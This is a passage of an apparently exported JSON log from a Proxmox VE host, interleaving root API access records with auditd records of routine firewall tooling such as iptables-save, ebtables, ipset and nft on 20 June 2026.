{"@timestamp":1781965501636,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:01 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 513"} {"@timestamp":1781964586014,"@rawstring":"node=pve type=EXECVE msg=audit(1781964586.014:61647): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965686000,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965686.000:66677): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe59259cf0 a1=5642a887c1c0 a2=5642a885a680 a3=5 items=1 ppid=64044 pid=64045 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195577,"@rawstring":"node=pve type=EXECVE msg=audit(1781966195.577:68845): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965006451,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965006.451:63592): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61016 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964282681,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:04:42 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 472"} {"@timestamp":1781964185290,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964185.290:59947): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57568 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195556,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966195.556:68841): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ed170 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66109 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965501636,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:01 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964586010,"@rawstring":"node=pve type=EXECVE msg=audit(1781964586.010:61646): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965685887,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965685.887:66659): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc6ba49720 a1=61d33e29d410 a2=61d33e27b680 a3=5 items=1 ppid=64025 pid=64026 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195569,"@rawstring":"node=pve type=EXECVE msg=audit(1781966195.569:68843): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965006451,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965006.451:63591): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61016 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964282681,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:04:41 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 837"} {"@timestamp":1781964185284,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964185.284:59946): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57567 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195551,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966195.551:68840): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc14aa20 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66108 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965501636,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:25:00 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781964586007,"@rawstring":"node=pve type=EXECVE msg=audit(1781964586.007:61645): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965683948,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965683.948:66649): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955030 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64015 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195564,"@rawstring":"node=pve type=EXECVE msg=audit(1781966195.564:68842): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965005613,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965005.613:63587): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd01ef0e80 a1=5a4d5ed9c1c0 a2=5a4d5ed7a680 a3=5 items=1 ppid=61009 pid=61010 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964280648,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:04:39 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1095"} {"@timestamp":1781964185280,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964185.280:59945): arch=c000003e syscall=59 success=yes exit=0 a0=5557bfe9cb20 a1=5557bfea8e40 a2=5557bfe76680 a3=5 items=2 ppid=57560 pid=57566 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195545,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966195.545:68839): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ed170 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66107 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965501636,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:25:00 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1109"} {"@timestamp":1781964586006,"@rawstring":"node=pve type=EXECVE msg=audit(1781964586.006:61644): argc=1 a0=\"date\""} {"@timestamp":1781965683948,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965683.948:66648): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955030 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64015 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195556,"@rawstring":"node=pve type=EXECVE msg=audit(1781966195.556:68841): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965005535,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965005.535:63569): arch=c000003e syscall=59 success=no exit=-2 a0=7fff9a237e90 a1=5beef6c92310 a2=5beef6c8b680 a3=5 items=1 ppid=60990 pid=60991 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964279643,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:04:38 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 464"} {"@timestamp":1781964185277,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964185.277:59944): arch=c000003e syscall=59 success=yes exit=0 a0=5557827a5ac8 a1=7ffe8e7fb560 a2=5557bfe76680 a3=55578278924e items=2 ppid=57560 pid=57562 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195539,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966195.539:68838): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae4e90 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66106 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965501636,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:00 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 919"} {"@timestamp":1781964586001,"@rawstring":"node=pve type=EXECVE msg=audit(1781964586.001:61642): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965683940,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965683.940:66646): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954f70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64014 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195551,"@rawstring":"node=pve type=EXECVE msg=audit(1781966195.551:68840): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965001444,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965001.444:63559): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60980 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964276609,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:04:35 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1095"} {"@timestamp":1781964185276,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964185.276:59943): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe8e7fb520 a1=5557bfe981c0 a2=5557bfe76680 a3=5 items=2 ppid=57560 pid=57561 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195532,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966195.532:68837): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66105 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965500532,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:59 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781964585996,"@rawstring":"node=pve type=EXECVE msg=audit(1781964585.996:61641): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965683939,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965683.939:66645): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954f70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64014 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195545,"@rawstring":"node=pve type=EXECVE msg=audit(1781966195.545:68839): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965001444,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965001.444:63558): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60980 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964276609,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:04:35 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 849"} {"@timestamp":1781964185272,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964185.272:59941): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=57560 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195523,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966195.523:68836): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66104 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965500532,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:59 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 882"} {"@timestamp":1781964585989,"@rawstring":"node=pve type=EXECVE msg=audit(1781964585.989:61640): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965678930,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965678.930:66643): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954eb0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64011 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195539,"@rawstring":"node=pve type=EXECVE msg=audit(1781966195.539:68838): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965001436,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965001.436:63556): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60979 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964275599,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:04:34 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 465"} {"@timestamp":1781964185264,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964185.264:59940): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57559 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195519,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966195.519:68835): arch=c000003e syscall=59 success=yes exit=0 a0=6322306c7b20 a1=6322306d39f0 a2=6322306a1680 a3=5 items=2 ppid=66097 pid=66103 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965499508,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:58 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 505"} {"@timestamp":1781964585984,"@rawstring":"node=pve type=EXECVE msg=audit(1781964585.984:61639): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965678930,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965678.930:66642): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954eb0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64011 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195532,"@rawstring":"node=pve type=EXECVE msg=audit(1781966195.532:68837): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965001436,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965001.436:63555): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60979 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964272570,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:04:31 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1098"} {"@timestamp":1781964185258,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964185.258:59939): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57558 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195516,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966195.516:68834): arch=c000003e syscall=59 success=yes exit=0 a0=63220ec60ac8 a1=7ffc3033a200 a2=6322306a1680 a3=63220ec4424e items=2 ppid=66097 pid=66099 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965499508,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:58 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964585978,"@rawstring":"node=pve type=EXECVE msg=audit(1781964585.978:61638): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965678921,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965678.921:66640): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954df0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64010 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195523,"@rawstring":"node=pve type=EXECVE msg=audit(1781966195.523:68836): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964996421,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964996.421:63550): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60973 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964270674,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:04:30 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 467"} {"@timestamp":1781964185253,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964185.253:59938): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b4af70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57557 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195515,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966195.515:68833): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc3033a1c0 a1=6322306c31c0 a2=6322306a1680 a3=5 items=2 ppid=66097 pid=66098 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965499508,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:58 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 916"} {"@timestamp":1781964585972,"@rawstring":"node=pve type=EXECVE msg=audit(1781964585.972:61637): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965678921,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965678.921:66639): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954df0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64010 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195519,"@rawstring":"node=pve type=EXECVE msg=audit(1781966195.519:68835): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964996421,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964996.421:63549): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60973 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964270674,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:04:29 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 840"} {"@timestamp":1781964185246,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964185.246:59937): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e6780 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57556 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195510,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966195.510:68831): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=66097 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965498302,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:24:57 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 517"} {"@timestamp":1781964584930,"@rawstring":"node=pve type=EXECVE msg=audit(1781964584.930:61636): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965675814,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965675.814:66635): arch=c000003e syscall=59 success=no exit=-2 a0=7fff0efb7b50 a1=5cf56d29b3d0 a2=5cf56d279680 a3=5 items=1 ppid=64003 pid=64004 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195516,"@rawstring":"node=pve type=EXECVE msg=audit(1781966195.516:68834): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964996413,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964996.413:63547): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60972 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964268658,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:04:27 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1098"} {"@timestamp":1781964185239,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964185.239:59936): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc135dd0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57555 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195502,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966195.502:68830): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66096 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined 